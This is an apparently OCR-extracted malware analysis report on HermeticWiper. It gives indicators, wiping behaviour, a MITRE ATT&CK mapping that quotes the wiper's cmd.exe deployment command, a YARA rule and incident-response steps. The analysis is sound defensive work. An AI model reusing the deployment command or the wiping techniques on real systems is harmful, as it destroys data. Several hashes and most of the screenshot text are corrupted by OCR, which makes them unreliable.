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SUMMARY

This report is done in order to present the reverse engineering of event-based malware. This report includes findings and
recommended actions (Details about the analysis given in the annex).

FINDINGS

Attack Vector
For the samples analyzed, the infection vector is not known.

Since the current hostilities between Russia and Ukraine, researchers discovered several wiper malwares targeting Ukrainian
organizations. On February 23, 2022, a destructive attack targeted multiple Ukrainian organizations: HermeticWiper. This
cyberattack was active ,a few hours before the start of the invasion of Ukraine by Russia. Initial access vectors varied from one
organization to another. The wiper seems to be dropped by GPO. Malware artifacts suggest that the attacks had been planned for
several months. And It is supposed that the attackers had access to the network before deploying this malware.

e Computer Name: {Enter Device Name}

e |P Address: {Enter IP Address}

e Assigned User: {Enter User’s First name & Last name}

e Date & Time of Event: {Enter date/time event occurred}

e Last Seen Date/Time Stamp: {Enter the Last Logon Date/Time stamp}
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This table shows what we know:.

MD5 Hash

SHA 1 Hash
SHA 256 Hash
Imphash
Antropy
Infection Vector
File Type

File Name
Packer
Language
Malware/Family
Setup of the
program

Anti-Debug
Technique

Evasion Technigue

Anti-Forensics
techniques

File/DLL File

cryptography

Process/
Suspicious API
Capabilities of the
program /
scheduled Tasks

3F4A16B29F2F0532B7CE3E7656799125

61B25D11392172E587D8DA3045812A66(3385451
1BC44EEF75779E3CATEEFB8FF5A64807DBC942B1E4A2672D77B9F6928D292591
AOF2419925B9(8476EA7EFB19075C4EQ

6.385

N/A

PE Size:114kb
conhosts.exe

N/A

C++vs2017

destructive malware

Creates driver files.

Interact with driver via control codes.

Modify service.

Create service

Queries disk information (Anti-VM technigue)

Contains long sleeps.

Checks if the current process is being debugged.

Hide NTFS actions through registry key

Tries to detect Sandbox, checking his name start with the c letter

Use a legitimate driver [epmntdrv EaseUS Partition Master NT Driver] to leverage
I0CTLs. The use of IOCTLs allows low-level disk access (could evade detection)
Encrypt logs.

Disable VSS

Disable CrashDumps
DRV_X64:a952e288a1ead66490b3275a807f52e5
DRV_X86:231b3385ac17e41¢5bb1b1fcb59599c4
DRV_XP_X64:095a1678021b034903c85dd5ach447ad
DRV_XP_X86:eb845b7a16ed82bd248e395d9852f467
Uncompressed DRV_X64: 6106653b08f4f72eeaa7f099e7c408a4
Uncompressed DRV_X86: 093 cee3b45f0954dce6cb891f6a920f7
Uncompressed DRV_XP_X64: bdf30adb4e19aff249e7da26b7f33ead
Uncompressed DRV_XP_X86: d57f1811d8258d8d277cd9f53657eef9

stdcall

LZMA compression algorithm

signed by a digital certificate issued to Hermetica Digital LTD to be accepted by
Windows
DeviceloControl

Creates driver files.

Interact with driver via control codes.

Modify service / Create service.

shadow copies and Crash dumps Disabling, and log encryption to prevent recovery
Performing data fragmentation

Corrupting Master Boot Record (MBR)

scanning NTFS directories

Data wiping through data overwriting
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Behavior summary

Initialization
Initialization in progress
Initialization done. Weapons ready.

Disarm and Disable the wvictim

Inventory checked. Disarmament of the victim in

CrashDump disabled
Shadow copy disahled
> Attack
Final Attack in progress
Succeed : ALl the disk have heen corrupted

Process finished with exit code 0O

The malware file is dropped to the victim as a compressed package it create the EaseUS driver file, enumerate the
physical drives. The driver is then loaded and runs as a service. The driver is used through execution codes
[dwloControlCode] to overwrite the master boot record (MBR) and restart the system.

ing operating system
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Establishes a connection to the service control
manager on the specified computer and opens
the specified service control manager database.

OpenSCManagerW

C:\\"System Volume

Information”

Among other things, Windows
stores System Restore points
in the System Volume Information

folder.

Retrieves the fully qualified path for the
file that contains the specified module.

Initialization

Get current
system time

LockupPrivilegeValueW
"SeloadDriverPrivilege
SeBackupPrivilege
SeshutdownPrivilege

OpenProcessToken
|
I

GetSystemTime
AsFileTime

GetCurrent
Process

Check the architecture:
%32 or X64 and
determine the

appropriate driver to
load and disables

WOW64 redirection to

force the system to load
one of these driver

GetModuleFileNameW

DRV_XP_XB6 DRV_XP_X86 DRV_XP_X64

VSS disabling [Windows API snapshot Microsoft Volume Shadow copy
Service] to prevent backup

Backup Corruption

Load the driver as a
service

CrashDumpEnabled DWORD value to 0:
The option doesn't record any
information in a memory dump file.

Didable Crash dumps. 'SYSTEM\,

CurrentControlSet\Control\
CrashControl’,0

4

Enumerate Physical Drives

Retrive info about the disk

NTFS
Hide NTFS operations

Disks Corruption

FAT32

encrypt overwriting the disk

Corrupt MBR and MFT [overwriting action
through IOCTL code]. Encrypt

SBitmap and Logfile

Encrypt Windows System directories
Documents & Desktop & AppData”™

directories .

Missing

operat ing

(ProgramFiles, ProgramFiles x86

Perflogs, Boot
SystemVolume Information
AppData)
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Miter Attack Matrix

Techniques Used

ID

T1134
T1059 @ .003
11543 = .003
11485
11140
T1561 = .001

.002
11484  .001
T1083
T1562 .006
T1070

Name

Access Token
Manipulation

Command and

Scripting
Interpreter: Windows

Command Shell

Create or Modify

System
Process: Windows

Service

Data Destruction

Deobfuscate/Decode

Use

HermeticWiper can use AdjustTokenPrivileges to grant itself privileges for debugging
with SeDebugPrivilege, creating backups with SeBackupPrivilege, loading drivers
with SelLoadDriverPrivilege, and shutting down a local system with SeShutdownPrivilege.P!!

HermeticWiper can use cmd.exe /Q/c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1
CSIDL_WINDOWS\policydefinitions\postgresql.exe 1>
\\127.0.0.1\ADMINS$\_1636727589.6007507 2>&1 to deploy on an infected system.!!

HermeticWiper can load drivers by creating a new service using the CreateServiceW API."!

HermeticWiper can recursively wipe folders and files in Windows, Program Files, Program
Files(x86), PerfLogs, Boot, System, Volume Information, and AppData folders

using FSCTL_MOVE_FILE. HermeticWiper can also overwrite symbolic links and big files in My
Documents and on the Desktop with random bytes. !

HermeticWiper can decompress and copy driver files using LZCopy."!

Files or Information

Disk Wipe: Disk
Content Wipe

Disk Wipe: Disk
Structure Wipe

Domain Policy
Modification: Group

Policy Modification

File and Directory
Discovery

Impair
Defenses: Indicator

Blocking

Indicator Removal

HermeticWiper has the ability to corrupt disk partitions and obtain raw disk access to destroy
data Bt

HermeticWiper has the ability to corrupt disk partitions, damage the Master Boot Record
(MBR), and overwrite the Master File Table (MFT) of all available physical drives. 2=l

HermeticWiper has the ability to deploy through an infected system's default domain policy. !

HermeticWiper can enumerate common folders such as My Documents, Desktop, and
AppData. 5!

HermeticWiper has the ability to set
the HKLM:\SYSTEM\\CurrentControlSet\\Control\\CrashControl\CrashDumpEnabled Registry
key to 0 in order to disable crash dumps. 151

HermeticWiper can disable pop-up information about folders and desktop items and delete
Registry keys to hide malicious services.2I€!
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T1490

T1036

T1106

T1027

T1053

11489

T1553

T1082

T1569

T1529

11497

.004

.005

.005

.002

.002

.003

Name

Clear Windows Event

Use

HermeticWiper can overwrite the C:\Windows\System32\winevt\Logs file on a targeted

Logs

File Deletion

Inhibit System
Recovery

Masquerading: Match

system. !
HermeticWiper has the ability to overwrite its own file with random bites.2!€!

HermeticWiper can disable the VSS service on a compromised host using the service control
manager.BIEI5]

HermeticWiper has used the name postgressql.exe to mask a malicious payload.®!

Legitimate Name or
Location

Modify Registry

Native API

Obfuscated Files or
Information

Scheduled
Task/Job: Scheduled
Task

Service Stop

Subvert Trust
Controls: Code Signing

System Information

HermeticWiper has the ability to modify Registry keys to disable crash dumps, colors for
compressed files, and pop-up information about folders and desktop items. =I5

HermeticWiper can call multiple Windows API functions used for privilege escalation, service
execution, and to overwrite random bites of data. BI85

HermeticWiper can compress 32-bit and 64-bit driver files with the Lempel-Ziv
algorithm [ZIE15]

HermeticWiper has the ability to use scheduled tasks for execution. 2!

HermeticWiper has the ability to stop the Volume Shadow Copy service.!

The HermeticWiper executable has been signed with a legitimate certificate issued to
Hermetica Digital Ltd. 2214151

HermeticWiper can determine the OS version, bitness, and enumerate physical drives on a

Discovery

System
Services: Service

Execution

System
Shutdown/Reboot

Virtualization/Sandbox

targeted host, 21851

HermeticWiper can create system services to aid in executing the payload. 225!

HermeticWiper can initiate a system shutdown. 25!

HermeticWiper has the ability to receive a command parameter to sleep prior to carrying out

Evasion: Time Based
Evasion

destructive actions on a targeted host.!

Source: https://attack.mitre.org/software/S0697/
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https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware
https://attack.mitre.org/techniques/T1529
https://attack.mitre.org/techniques/T1529
https://attack.mitre.org/techniques/T1529
https://attack.mitre.org/software/S0697
https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware
https://attack.mitre.org/techniques/T1497
https://attack.mitre.org/techniques/T1497/003
https://attack.mitre.org/techniques/T1497
https://attack.mitre.org/techniques/T1497
https://attack.mitre.org/techniques/T1497/003
https://attack.mitre.org/techniques/T1497/003
https://attack.mitre.org/software/S0697
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
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RECOMMENDED ACTIONS

First, make sure all your computers are running updated security solution.

Possible Incident Response Steps

Vulnerability Comments
Malicious file(s) Possible Incident Response Steps:
1. Check the section for a list of infected files.
2. Check the web proxy for similar files or hashes [Yara could help to find related files]
3. Check the Next-Gen firewall for traffic to the malicious domain(s) and IP(s) address(es)
4. Check AV solution for hashes.
5. Run additional AV scans on machines involved in isolated event.
6. Speak with user to see if there is a reoccurring theme, such as a repeated site visited.
7. Determine if that computer has had any other triggered events from other security

products in the last 48 hours leading up to isolated event.

8. According to the zero-trust model ,remote administration services use
strongly encrypted protocols and only accept connections from authorized users or
locations.

9. Disable Power Shell in windows 10 via security policy for classic users or/and use
AppLocker to limit who can work with PowerShell.

Malicious e-mail Possible Incident Response Steps:

1. Check the email gateway for possible related emails.

2. Purge additional emails from environment if necessary.

3. Proactively block senders or indicators from coming into the environment again.
4. Educate affected end users on how to handle malicious emails.

5. Run additional AV scans on machines involved in isolated event.

Malicious Software Possible Incident Response Steps:

Check the computer for additional unwanted software.

Check the computer for related vulnerabilities.

Check that the software is not installed on other computers in the environment.
Check the web proxy for other possible downloads.

Run additional AV scans on machines involved in isolated event

Speak with user to see if there is a reoccurring theme, such as a repeated site visited.
Determine if that computer has had any other triggered events from other security
productsin the last 48 hours leading up to isolated event.

NowumAWN=

Infected USB Drive Possible Incident Response Steps:

1. Check AV solution for hashes

2. Run additional AV scans on machines involved in isolated event

3. Speak with user to see if there is a reoccurring theme, plugging in the removable
media to their home computer.

4. Determine if that computer has had any other triggered events from other security
productsin the last 48 hours leading up to isolated event.

5. Educate end user on keeping the infected device out of work computer.

6. Formatting the removable media.

7. Controlling removable media connections.
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Specific test to detect the rootkit on an infected machine.

e Monitor registry changes [Sysmon auditing]
e Monitor driver installation and creation.
e Monitor privilege escalation.

Yara-Rule

rule HermeticWiper {

meta:
description = "Detects HermeticWipe
author = "Natacha BAKIR, Senthorus"
maltype="apt”
type="wiper”
hash= 1BC44EEF75779E3CATEEFBBFF5A64807DB(942B1E4A2672D77B9F6928D292591
strings:
$a1 = "\\\\.\\EPMNTDRV\\%u" wide
$a2 = "\\\\.\\PhysicalDrive%u" wide
$a3 = "SYSTEM\\CurrentControlSet\\Control\\CrashControl" fullword ascii
$b1 = "DRV_X64" wide
$b2 = "DRV_X86" wide
$b3 = "DRV_XP_X64" wide
$b4 = "DRV_XP_X86" wide
condition:
uint16(0) == 0x5a4d and filesize < 150KB and all of $a* and 1 of $b*
}
SIEM Rules
SPLUNK
Attack Vectors Tactic TTP Splunk Coverage
Microsoft SQL Server B . _ o _
Privilege Escalation 71068 Windows Privilege Escalation
CVE-2021-1636
Deployment via GPO Defense Evasion, Privilege Escalation 11484 Windows Privilege Escalation
Spearphishing attachments
Spearphishing Initial Access T1566.002

Suspicious Emails

Source: splunk.com

Other possible detection and response rules

2023-nbr HermeticWiper Malware Analysis Report

10



https://www.cvedetails.com/cve/CVE-2021-1636/
https://attack.mitre.org/techniques/T1068/
https://research.splunk.com/stories/windows_privilege_escalation/
https://attack.mitre.org/techniques/T1484/
https://research.splunk.com/stories/windows_privilege_escalation/
https://attack.mitre.org/techniques/T1566/002/
https://research.splunk.com/stories/spearphishing_attachments/
https://research.splunk.com/stories/suspicious_emails/
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REFERENCES
This report may contain information that is available on the Internet. For more information, please refer to the following websites:

HermeticWiper | New  Juan Andrés https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ 23 feb 2022

Destructive Malware Guerrero-Saade
Used In Cyber Attacks

on Ukraine

HermeticWiper: A https://www.malwarebytes.com/blog/threat- March 4, 2022
detailed analysis of the ' Malwarebytes intelligence/2022/03 /hermeticwiper-a-detailed-analysis-of-the-destructive-

destructive malware Threat malware-that-targeted-ukraine

that targeted Ukraine  Intelligence

Team

IS Useful Resources I

Windows Internals Pavel Yosifovich 7t edition [book]

What is epmntdry? Microsoft [MSDN]  https://www. file.net/process/epmntdrv.sys.himl 25 feb 2020
DeviceloControl Microsoft [MSDN] | https://learn.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset- NA
function (ioapiset.h) deviceiocontrol

HeapFree function Microsoft [MSDN] | https://learn.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi- NA
(heapapi.h) heapfree

system failure and Microsoft [MSDN] | https://learn.microsoft.com/en-us/troubleshoot/windows- NA
recovery client/performance/configure-system-failure-and-recovery-options

Volume Management  Microsoft [IMSDN] | https://learn.microsoft.com/en-us/windows/win32/fileio/volume-management-

Control Codes control-codes?source=recommendations

Windows I0OCTL http://www.ioctls.net/

Reference

WINIOCTL.INC Rustam https://github.com/rusg/disable-hdd-apm/blob/master/WINIOCTL.INC

CONTACT US

For additional assistance, please contact Natacha BAKIR.
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https://learn.microsoft.com/en-us/windows/win32/fileio/volume-management-control-codes?source=recommendations
https://learn.microsoft.com/en-us/windows/win32/fileio/volume-management-control-codes?source=recommendations
http://www.ioctls.net/
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Annexes

Analyzing an Event Based Malware

\|
P.emembe‘ \

Event-based logic malwares has non-linear execution flow based on callbacks, which makes the analysis very
challenging. xrefs just don't work ®

If you have to choose between PE and ELF, choose ELF, because the Linux one will contains symbols that will help
to understand the code. Ida pro knows all the structures and will add symbols. Most of the time, symbols are pretty
much self-explanatory.

Elaborate a tactical surface analysis, by keywords, searching for hidden files.

Try to recognize variants of open-source trojans and common attacks glancing at the strings, the symbols and the

functions.

Don’t hesitate to Google functions.

If you have time, keep reversing the found program to find potential modification made by the attacker.

Analyze the network communications and try to resolve the arguments with IDA Pro

Use IDA Pro comments and write down function names. If you put function names or addresses as comments, you
can jump to them by double clicking. Use IDA’s folder system for functions (create lots of folders and sort all those
functions neatly inside of them)

I.[ Create folder with items.

Rename R

Copy CtrleC
Copy all Ctrle Shift+ Ins
Delete functions). Del

Edit function. CurleE

CtrloF
Ctrl Shifts F

l ¥ Show folders

Add breakpomt

Enabl

|
X Delete breakpoint
| nt
|

Disable breakpoint

Lumina

Font.

Take the time to understand the architecture of the malware
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Screenshot of the analysis

Surface Analysis

§ |; 1bc44eef7577%3caleelb8if5a64807dbcd42bleda 4
| 1bc44eef75779e3caleefb8ff5a64807dbc942b1e4a2672d77b9f.. X
General Digttal Signatures  Securty Details Previous Versions
General Digital Signatures  Security Details Previous Versions
A Signature list
lff5364807d>c942b1e4a2672d77b§6928d292591
— Name of signer: Digest algorithm Timestamp
Hemetica Digital Ltd shal Not available
Type of file:  File
Description:  1bc44eef 75779 3ca leefb 8f5a64807dbc942b 1eda
< >
Location: C:\Users\REM\Desktop\Malware\Others\Hemetic'
Size: 114 KB (117,000 bytes) Details
Size on disk: 116 KB (118,784 bytes)
Created: Tuesday. September 20, 2022, 7:12:56 AM
Modified Tuesday, September 20, 2022, 12:31:56 PM
Accessed: Tuesday, September 20, 2022, 7:12:56 AM
Attributes:  [JRead-only [ Hidden Advanced...
ot [ ok | cwes || e
Hash — O *

Type Method

PE32 MD4 000 0001c508

70bf71c156aa 144310
MName
00000000 0400 1a95fc0cdT:
00000400 00004000 7V9fealcbaloi10dE
00004400 00001400

LT

LA

00005200
ion(4)[". 0001600

LA
m

LA
m

Overlay 0001bal0

=]

Import hash 32(C

Import hash 64(C

Import(0)(CRC)['SHLWAPLAII']

'LZ32.dII']
svert.dll']

Import(3)(CRC)['K .dil']

Import(4)(CRC)['USER32. 9ch565fd
Import(’ J['AD ’ 4ef149ch
Import(] 2df58286
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file settings about

e x 8 %

em\desktop\malware\oth,
€l cators (46) *
oS
* dos-header (64 bytes)
B dos-stub (160 bytes)
rich-header (8)
> file-header (Feb.2022)
> optional-header (GUI)
# directories (time-stamp)
> sections (files)
| libraries (7) *
-4 | imports (92) *

TS

-5

O

j} relocations (436)

} resources (unknown) *
2bc strings (1381)

A% debug (time-stamp)

G certificate (expired)
J

md5-without-overlay
sha1-without-overlay
sha256-without-overlay
first-bytes-hex
first-bytes-text

file-size
size-without-overlay
entropy

117000 (bytes)

imphash
signature
entry-point
file-version
description
file-type executable
cpu 32-bit
subsystem GUI
compiler-stamp
debugger-stamp
resources-stamp
import-name
exports-stamp
version-stamp
certificate-stamp

e @

0x62160305 (Wed Feb 23 04:48:53 2022)
0x62160305 (Wed Feb 23 04:48:53 2022)

0xF2580000 (Mon Apr 12 20:00:00 2021)

property value

md5 AOFFOB3D29B4BD5952E0FBEAS1214CDF

shat B8F3D2EB6116A4AB0E2FDB55DD015ABCCB713CAB

sha256 ED2056384164E47E63BEO4SEFDABFEO117AAIEBO397421838C684

4D 5A 90 00 03 00 00 00 04 00 Q0 00 FF FF 00 00 B8 00 00 00 00 O(
MZ ooiinnmnn

AOF2419925B9C8476EATEFB19075C4E0

558BECB3E4F881EC240500005356576A708D44246CC

pestudio 9.12 - Malware Initial Assessment - www.winitor.com [c\users\rem\desktop\malware\others\hermetic\hermetic\hermetic\8033126133\1bcd4eef75779e3caleefb8ff5a64807dbc942b1e4a2672d77b9f6928d292

file settings about

wdh X8 %

=8 c\users\rem\desktop\malware\others\hermetic\l | indicator (46)

- > dos-header (64 bytes)
B dos-stub (160 bytes)
* rich-header (8)
» file-header (Feb.2022)
- > optional-header (GUI)
HH directories (time-stamp)
> sections (files)
| libraries (7) *
4 imports (92) *
-0
3 relocations (436)
.4 resources (unknown) *
---abc strings (1381)

The file references string(s)

The file contains another file

The file contains another file

The file contains another file

The file contains another file

The file imports symbol(s)

The time-stamp of a directory is suspicious
The file-ratio of the resource(s) is high
The certificate has expired

The file checksum is invalid

The file references a group of API

The file references a group of API

The file references a group of API

The file references a group of API

The file references a group of API

The file references a aroup of API

detail
type: blacklist, count: 31

signature: unknown, location:
signature: unknown, location:
signature: unknown, location:
signature: unknown, location:

type: blacklist, count: 11
type: debug

ratio: 75.05 %

stamp: 14/04/2022
checksum: 0x0001F2FD
type: storage, count: 4
type: execution, count: 8
type: shell, count: 1
type: file, count: 15
type: compression, count: 3
tvpe: memory, count: 6

rsre, offset: 0x000111FO0, ...
asre, offset: 0x00013DEO,..

rsre, offset: 0x00016410, ...
asre, offset: 0x00018EEQ, ..

level

W W W wWwwwNNNS S g

pestudio 9.12 - Malware Initial Assessment - www.winitor.com [c\t \desktop\ ic\hermetic\hermetic\8033126133\1bc44eef75779e3caleefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591]
file settings about
e X8 ?
= c \rem\desktop\malj h name (92) hint (92) thunk (92) group (16) type (1) ordinal (0) blacklist (11) library (7)
#d indicators (46) * ControlService services advapi32dll
2] DeleteService services x advapi32dll
? “dosheader: (64 bytes) AdjustTokenPrivileges i) X advapi32ai
B dos-stub (160 bytes) OpenProcessToken security x advapi32dll
! Hchihieader (6) VerSetConditionMask reckoning x lesnel52 il
> file-header (Feb.2022) e R r— :
> optional-header (GUI) GetCurrentProcessld execution x kernel32.dIl
Bl directories (time-stamp) CryptReleaseContext cryptography x advapi32dll
> sections (files) CryptGenRandom cryptography x advapi32dil
£ libraries (7)* 1ZClose compression x 12324l
LZCopy compression x 1z32dll
DeviceloControl x kernel32dIl
WaitForMultipleObjects synchronization kernel32dIl
WaitForSingleObject synchronization kernel32dIl
ﬁ relocations (436) CreateEventW synchronization kernel32dIl
A resources (unknown) * SetEvent synchronization kernel32dll
abe strings (1381) GetDiskFreeSpaceW storage kernel32dll
"@ debug (time-stamp; GetlogicalDriveStringsW storage kernel32dIl
= PathAddBackslashW shell shiwapidil
CloseServiceHandle services advapi32dll
B certificate (expired) StartServiceW services advapi32dil
e ChannaSaniceCanfinW <onvicac advaniad dll
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Search for potential hidden embedded files with the 4d5a magic (exe)

3 010 Editor - C:\Users\REM\Desktop\Malware\ Others\Hermetic\Hermetic\Hermetic\8033126133\ 1bcddeef 757793

File  Edit  Searc V 1at el es Jebug ools Vind
R b EfFgus HEEOHDE SBS5 §F

1bcddeefT5T793caleefb8ff5a64807dbc042b1e4a26T2d7Tb916928d4202591

at Templat ebug

Address Value

Found 7 eccurrences of 'mz’,
Oh MZ
111FFh

! Find in Files E? Compare J.I]m Histogram L Ch

w' CFF Explorer VIl - [1bcddeef757793cal eefbBff3ab4807dbci42b1e4a2672d77bO1E928d292551]

Settings 7
H @ 1bc44eef75779%3caleefbiffSabd l
- -
=) RCDATA
I [Z File: 1bc4deei757793calectbs| | ') DRV X64"- [lang:0] a =@
FF5a64807dbc942b 1e4a2672d77 {2 DRV _X86" - lang:0]
{C3) "DRYV_XP_%64" - lang:0 Off=et n1 2
b6928d292591 XP_X64" - [lang:0]
"~ -{C3) "DRV_XP_X86" - lang:0] 00000000 | 53 5A 44
— =] Dos Header ) Teons - - ooooooilo 90 00
= Mt Headers ; 00000020 | F5 FO A2
[ File Header -3 Tcon Groups 00000030 | FF 1F Ba
= Me 0000004 | 62 69 FF
=) Optional Header 000000s0 | 6E 6E BF
(=) Data Directories [x] 00000060 | 20 44 4F
@ e 0ooooo7o | o1 04 g4
_‘;-'L‘,Sm"_’”fea_d“ & 00000080 | 07 CF 7D
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|File 52
H @ f75779e3ca z32.d1
- &0 RopaTa | B e wn m =
|5 B Fite: bettect757TIeIcatees| O EEEEET o ~ =
{3 "DRV_X86" - [lang: itmap
F5a64807dbc942b led4a2672d77 —
B bOES 1 -{7) "DRV_XP_X64" - [l Add lcon 9 9 4 B CDEF Ascii
6328429259 | L3 DRVXP x86" - [k 1 00 40 44 00 00 FF 4D | SZDDI& 3A HD. .M
d— (& Dos Header &6 Toons AP Add Cursor 4 FS FO FF FF 00 00 B8 | Z .0... }08&yy. .,
(2] Mt Headers T F 0D 1C 09 FO FS FO OE | 85c00@000 . 3820
@ Fie Header ({3 Icon Groups Add Custom Resource (Raw) 1 FF B3 01 4C CD 21 54 | % en. . Tig oLfIT
. 3 Add R Ra 7 72 61 FF 6D 20 63 61 hi‘xis‘..pragra'sim..‘l‘:a
i o g IREGURGE |miin
=) Data Direct 4 . .myode. .. .8
| 5 Section H:adm;lmm == 72 7D 07 74 05 E9 6A 72 |00 0TITI-0}0 toéjxr
- ’ Replace Resource (Raw) 5 02 F3 07 D1 7D 02 DD |0I} wiofu cOW} ¥
[— Simport Directory F 07 DS CO 7D 02 83 83 | 11 &3 10O} 11
— () Resource Directory Save Resourge (Raw) g 74 01 1C OD DO 05 50 |onn RiSchto .EoP
- on D 39 D7 A4 FD 48 24 07 22 | E.%.dpo . LxHgHSD "
) Relacation Directory Properties 00D DA 01 03 08 60 F5 | 0 0 .n&. . . .000'&
[ (-0 Debug Directory D 11 02 00 00 D1 06 F5 | 3000000 .0 . RO
- %m Converter Import New Resources Directory C C3 CO 10 15 F8 F1 0A | .00 |ﬁé|Xénngﬁ,
|— 9, Dependency ) 4 BA D9 10 28 D4 0A 00 |o0EoToWo de.0(0. .
‘A‘Huﬁit Walker Import New Resources Directory (Delete Old One) 9 14 FS FOD 70 00 00 09 ..000i. BOs&p. . .
— > or \C 1D B9 19 89 10 F8 2C | 1)010 D.- 0 e,
— 4 Identifier Find... 8 74 86 F5 FO AA 1B 0A |01 €0 text]8820
- S FRESERiy | Lnal
| & t0a. TORI0 ol .
%““‘"_““““"""“ bl 812 11 E4 08 01 1D 10 |00 H.o#. 00500 0
— “} Rebuilder Collapse All 0 12 23 94 12 81 10 48 | .hoooE.pEo#mo oH
— ), Resource Editor | | E 49 54 01 01 22 F& F1 | "&N- H/INITOD "o
L— %, UPX rility I
#] HashMyFiles - O
File Edit View Options Help
AOaQ | EHEaE 9a
Filename - MD3 SHA1
DRV X564 2052¢283a1ead66490b32752807¢52€5 Sceebaf 1 cbb0c10b957edd458304af
Hash of raw drivers:
DRV_X64: a952e288alead66490b3275a807f52e5
DRV_X86: 231b3385ac17e41c5bb1b1fch59599c4
DRV_XP_X64:095a1678021b034903c85dd5ach447ad
DRV_XP_X86: eb845b7al16ed82bd248e395d9852f467
[ Name
= * QUiCk access L1 mNdaine udie nudnicu ype LT
@ - DRV_X64 .
pesint DRV X86 | DRV_Xp4~ 1/29/2023 11:26 A...  File 1
HashMyfFiles B
DRV_XP_X64
P > DRV_XP_X86
§ Edit with Notepad++ -7 | HashMyFiles -
¥ Share File Edit View Options Help
* 010 Editor A0 HQ EHE B yA
sz ’ Filename MD3 SHAI
Resti i i
S [] DRV_x64~ 6106653b08f4f72eeaa7f099e7c408a4 OeB84aff18d42fc691cb
Send to >
Cut
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DRV_X64~ 1/29/2023 11:26 A..  File

DRV_X64~ Properties *
General Digttal Signatures  Securty Details Previous Versions
Signature list

Name of signer: Digest algorthm
CHENGDU YIWO Tech Development Co., Ltd.  shal

Details

Hash of uncompressed drivers:

DRV_X64: 6106653b08f4f72eeaa7f099e7c408a4
DRV_X86: 093cee3b45f0954dce6ch891f6a920f7
DRV_XP_X64: bdf30adb4e19aff249e7da26b7f33ead
DRV_XP_X86: d57f1811d8258d8d277cd9f53657eef9

* 1bcddeef757793ca leefbsff5a64807dbe 1 - PID: 3376 - Module: 1bcd4eef75779€3caleefbsff 591 - Thread: 5180 (switched from 30F4) - x32dbg [Elevated]
File View Debug Tracng Plugins Favourtes Options Help May 8 2021 (TiranEngine)
coE 30 tawg taB oS Ps 2L R
EEcpU  [ilog [ilNotes  ® Breakpoits ™8 MemoryMap [ CallStack =3 SEH o] Scipt @l Symboks <> Source O References ' Threads i Handles  §7 Trace
. 83C4 10 add esp, 1 ~
. © eps424 20 Tea edx,dword ptr ss:[esp:20] rideleny
. . spacaa sz Tea ecx.duord ptr == fesp-io] EAX 0000000
. D e EBX  02580C80
. . E8 73FLFFFF cl]1 db(ﬂdeefﬂ 779e3caleefb8ff5a64807dbc942bleda2672d77b9f6928d292591 . sub_401 ECX  3DF4DDD5
) moy_ebx, EDX 00000000
. 1 ss0E Test ebyoebx EBP  0514FFs0 . .
I OF84 86000000 je 1bes -40278D ESP 0S14FDZ0  &L™\\\\.\\EPMNTDRW\\O'
. . B3FB FF cmp_ebx ,FFEFFEFE = G
.- OF84 AD00000O je 1bcs -40278D
: . 25232}01( mov. Esx dword ptr ds:[edi+10] edi+10: " 1X\x02" EIP  004026EB 1bc44eef75779e3caleefbsff5a64807dbcoazbledaze
. L 8847 14 EFLAGS 00000342
. 894424 14 dword ptr ss:[fesp+14]], eax [esp+14] :sub_402640 ZE 1 AF O
. 66:90 oFo Fo OF
5 8B4E 10 v ecx,dword ptr ds:[esi+10] o TF1 IF1
. 8B7E 08 cdiidword ptr ds: [esie)
. CF d e LastError 00000057 (ERROR_INVALID_PARAMETER)
& 8856 0C e o o) LastStatus CO00000D (STATUS_INVALID_PARAMETER)
. ssic 1t v :::v:::rd ptr ds:[esi+14] s 0028 FS 0053
. S95424 18 oy dword ptr ¢ sfesp 16], ed Es 0028 D5 o0zB
. 3BD0 cmp_edx, eax
. - 7F 6C 39 beddeef75779e3cal 26724 - 402744 ST(0) 00000000000000000000 x87r0 Empty 0.000000000000000000
. -~ 7€ 06 31 Ibcddecf75779e3calectbsff ~402740 ST(1) 00000000000000000000 x87r1 Empty 0.000000000000000000
. ) cmp edi, ecx ST(2) 00000000000000000000 x87r2 Empty 0.000000000000000000
. 7366 jae 1bcddeef75779e3calectbofFs a64807dbeo42hleda2672d77b9T6928d292591, 40274 ST(3) 00000000000000000000 x87r3 Empty 0.000000000000000000
. 66:90 nop ST(4) 00000000000000000000 x87rd Empty 0.000000000000000000
. 64 00 push o ST(5) 000DOOOOOODOOODODO0D x87r5 Empty 0.00000DO000000DO000
. 64 00 push 0 ST(6) 00000000000000000000 x87r6 Empty 0.000000000000000000
& DS B ST(7) 00000000000000000000 x87r7 Empty 0.000000000000000000
. Z RS 387Tagtord FFFE
. $74424 24 00000000 | dword ptr ss esp-241,0 o] e )
FF15 84504000 &1 dword ot ds : [&SetFi TePointerExs] XorTia 3 Embtyd  Xarmas 3 Emind
. 85C0 t:st eax, ea x87TW_6 3 (Empty) x87TW_7 3 (Empty)
. ~ 75 06 ine 1b(442é75779:3(alzer8fF5 a64807dbc942bled a2672d77b3F6928d292591. 40275F
. . FF15 68504000 cnn dwnrd ptr ds:[<&GetLastErrors] )«BTStatuswnr‘d 0000
. Soea00 XB7SH_C3 0 xE7SWC2 O
804424 14 e e dword ptr ss:fespr14] [esp+14] :sub_402640 xﬁTS\L(l n X87SW_CO 0 xB7SW.ES O
. 50 push e: XETSW.SF 0 x87SWP 0 x87SWU 0
. FF7424 1C push dwnrd ptr ss:fesp+1c) T - -
. FF7424 28 push dword ptr ss:fesp+28]
. 53 push ebx Defamt(smmu)
EF15 94504000 [ derd ptr ds: (auniteriles] [esp+4] 00000104
. | s Test cax 2 Lo 00405100 L™\\\\. \\EPHNTDRV\ V™
. 75 06 She Lbeddeat7s779e3caleerbEFF5 64807 dbCo4 201 ed 2267247 7b9F 6928292591, 40277F 3: [esp+C] 00000000
